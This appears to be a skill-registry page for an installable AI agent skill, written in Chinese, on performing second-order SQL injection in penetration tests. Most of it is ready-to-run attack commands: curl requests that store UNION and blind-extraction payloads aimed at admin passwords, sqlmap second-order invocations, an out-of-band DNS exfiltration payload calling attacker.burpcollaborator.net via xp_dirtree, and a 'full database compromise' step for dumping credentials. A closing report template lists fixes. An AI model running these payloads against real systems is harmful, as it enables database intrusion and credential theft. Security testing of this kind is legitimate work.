# Performing Second Order SQL Injection

> 检测并利用二阶 SQL 注入漏洞，其中恶意输入存储在数据库中，并在不同应用程序操作期间在不安全的 SQL 查询中执行。

- Skill: `killvxk/performing-second-order-sql-injection` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-second-order-sql-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-second-order-sql-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-second-order-sql-injection

---


# 执行二阶 SQL 注入（Performing Second-Order SQL Injection）

## 适用场景
- 当一阶 SQL 注入测试显示存储时输入清理正确时
- 在对数据库中存储有用户生成内容的应用程序进行渗透测试时
- 测试存储数据会反馈到后续数据库查询的多步骤工作流时
- 评估显示或处理用户提交数据的管理员面板时
- 评估使用先前存储数据的存储过程执行路径时

## 前置条件
- Burp Suite Professional，用于跨应用程序流跟踪请求
- SQLMap，带有二阶注入支持（--second-url 标志）
- 了解 SQL 注入基础知识和盲提取技术
- 两个或多个应用程序功能（一个用于存储数据，另一个用于触发执行）
- 数据库错误消息监控或盲技术知识
- 多个用户账户，用于在不同上下文中测试存储数据

## 工作流程

### 步骤 1 — 识别存储点和触发点
```bash
# 映射应用程序以识别：
# 1. 存储点：用户输入被保存到数据库的位置
#    - 用户注册（用户名、邮箱、地址）
#    - 个人资料更新表单
#    - 评论/评价提交
#    - 文件上传元数据
#    - 订单/预订详情

# 2. 触发点：存储数据被用于查询的位置
#    - 显示用户数据的管理员面板
#    - 报告生成
#    - 使用存储偏好的搜索功能
#    - 使用存储邮箱的密码重置
#    - 导出/下载功能

# 使用 SQL 注入注册用户，将注入放入用户名
curl -X POST http://target.com/register \
  -d "username=admin'--&password=test123&email=test@test.com"
```

### 步骤 2 — 通过存储点注入载荷
```bash
# 在注册期间将 SQL 注入载荷存储在用户名中
curl -X POST http://target.com/register \
  -d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com"

# 在个人资料字段中存储注入
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--"

# 在地址字段中存储注入
curl -X POST http://target.com/api/address \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "address=123 Main St' OR 1=1--&city=Test&zip=12345"

# 在评论/评价中存储注入
curl -X POST http://target.com/api/review \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--"
```

### 步骤 3 — 触发执行存储的载荷
```bash
# 通过密码修改触发（使用存储的用户名）
curl -X POST http://target.com/change-password \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "old_password=Test1234&new_password=NewPass123"

# 通过管理员用户列表触发
curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users

# 通过数据导出触发
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data

# 通过使用存储偏好的搜索触发
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations

# 通过报告生成触发
curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity"
```

### 步骤 4 — 使用 SQLMap 进行二阶注入
```bash
# 使用 --second-url 进行二阶注入的 SQLMap
# 在注册时存储载荷，在个人资料页面触发
sqlmap -u "http://target.com/register" \
  --data="username=*&password=test&email=test@test.com" \
  --second-url="http://target.com/profile" \
  --cookie="session=AUTH_TOKEN" \
  --batch --dbs

# 使用 --second-req 处理复杂的触发请求
sqlmap -u "http://target.com/api/update-profile" \
  --data="display_name=*" \
  --second-req=trigger_request.txt \
  --cookie="session=AUTH_TOKEN" \
  --batch --tables

# trigger_request.txt 内容：
# GET /admin/users HTTP/1.1
# Host: target.com
# Cookie: session=ADMIN_TOKEN
```

### 步骤 5 — 盲二阶提取
```bash
# 基于布尔的盲注：检查存储的载荷是否导致不同行为
# 存储：test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"

# 触发并观察响应差异
curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile

# 基于时间的盲注二阶注入
# 存储：test'; WAITFOR DELAY '0:0:5'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test'; WAITFOR DELAY '0:0:5'--"

# 通过 DNS 进行带外提取
# 存储：test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'--
curl -X POST http://target.com/api/profile \
  -H "Cookie: session=AUTH_TOKEN" \
  -d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--"
```

### 步骤 6 — 升级到完整数据库入侵
```bash
# 一旦确认注入，枚举数据库
# 存储基于 UNION 的载荷
curl -X POST http://target.com/api/profile \
  -d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--"

# 提取凭据
curl -X POST http://target.com/api/profile \
  -d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--"

# 触发执行并读取结果
curl http://target.com/profile
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| 二阶注入（Second-Order Injection） | SQL 载荷安全存储，然后在后续操作中以不安全方式执行 |
| 存储点（Storage Point） | 将恶意输入保存到数据库的应用程序功能 |
| 触发点（Trigger Point） | 检索存储数据并在不安全查询中使用它的独立功能 |
| 可信数据假设（Trusted Data Assumption） | 开发者假设数据库存储的数据是安全的，跳过参数化 |
| 存储过程链（Stored Procedure Chains） | 通过使用先前保存的用户数据的存储过程注入 |
| 延迟执行（Deferred Execution） | 载荷可能在初始存储后数小时或数天才执行 |
| 跨上下文注入（Cross-Context Injection） | 一个用户存储的数据在另一个用户的上下文中触发执行 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| SQLMap | 带 --second-url 支持的自动化 SQL 注入工具，用于二阶攻击 |
| Burp Suite | 跨存储和触发端点的请求跟踪和比较 |
| OWASP ZAP | 带有注入检测的自动化扫描 |
| Commix | 支持二阶技术的自动化命令注入工具 |
| 自定义 Python 脚本 | 构建自动化存储-触发利用链 |
| DBeaver/DataGrip | 用于验证存储载荷的直接数据库访问 |

## 常见场景

1. **基于用户名的攻击** — 使用 SQL 注入载荷作为用户名注册；当管理员查看用户列表时载荷执行
2. **密码修改利用** — 在用户名中存储注入；修改密码时，应用程序在不安全的 UPDATE 查询中使用存储的用户名
3. **报告生成攻击** — 在存储的数据字段中注入载荷；触发报告生成时在聚合查询中使用存储数据
4. **跨用户注入** — 在共享数据字段（评论、评价）中注入载荷，当另一个用户或管理员处理数据时触发
5. **导出功能利用** — 在个人资料数据中注入载荷，在 CSV/PDF 导出操作期间触发

## 输出格式

```
## 二阶 SQL 注入报告
- **目标**：http://target.com
- **存储点**：POST /register（用户名字段）
- **触发点**：GET /admin/users（管理员面板）
- **数据库**：MySQL 8.0

### 攻击流程
1. 注册用户，用户名为：`admin' UNION SELECT password FROM users--`
2. 应用程序使用参数化 INSERT 安全存储用户名
3. 管理员面板使用 SELECT 中的不安全字符串连接检索用户名
4. 注入的 SQL 执行，在管理员视图中暴露所有用户密码

### 提取的数据
| 表 | 列 | 记录数 |
|-------|---------|---------|
| users | username, password, email | 150 |
| admin_tokens | token, user_id | 3 |

### 修复建议
- 对所有数据库操作（包括读取）使用参数化查询
- 永远不要将从数据库检索的数据视为安全的
- 显示数据库内容时实施输出编码
- 应用最小权限数据库权限
- 启用 SQL 查询日志以检测注入尝试
```

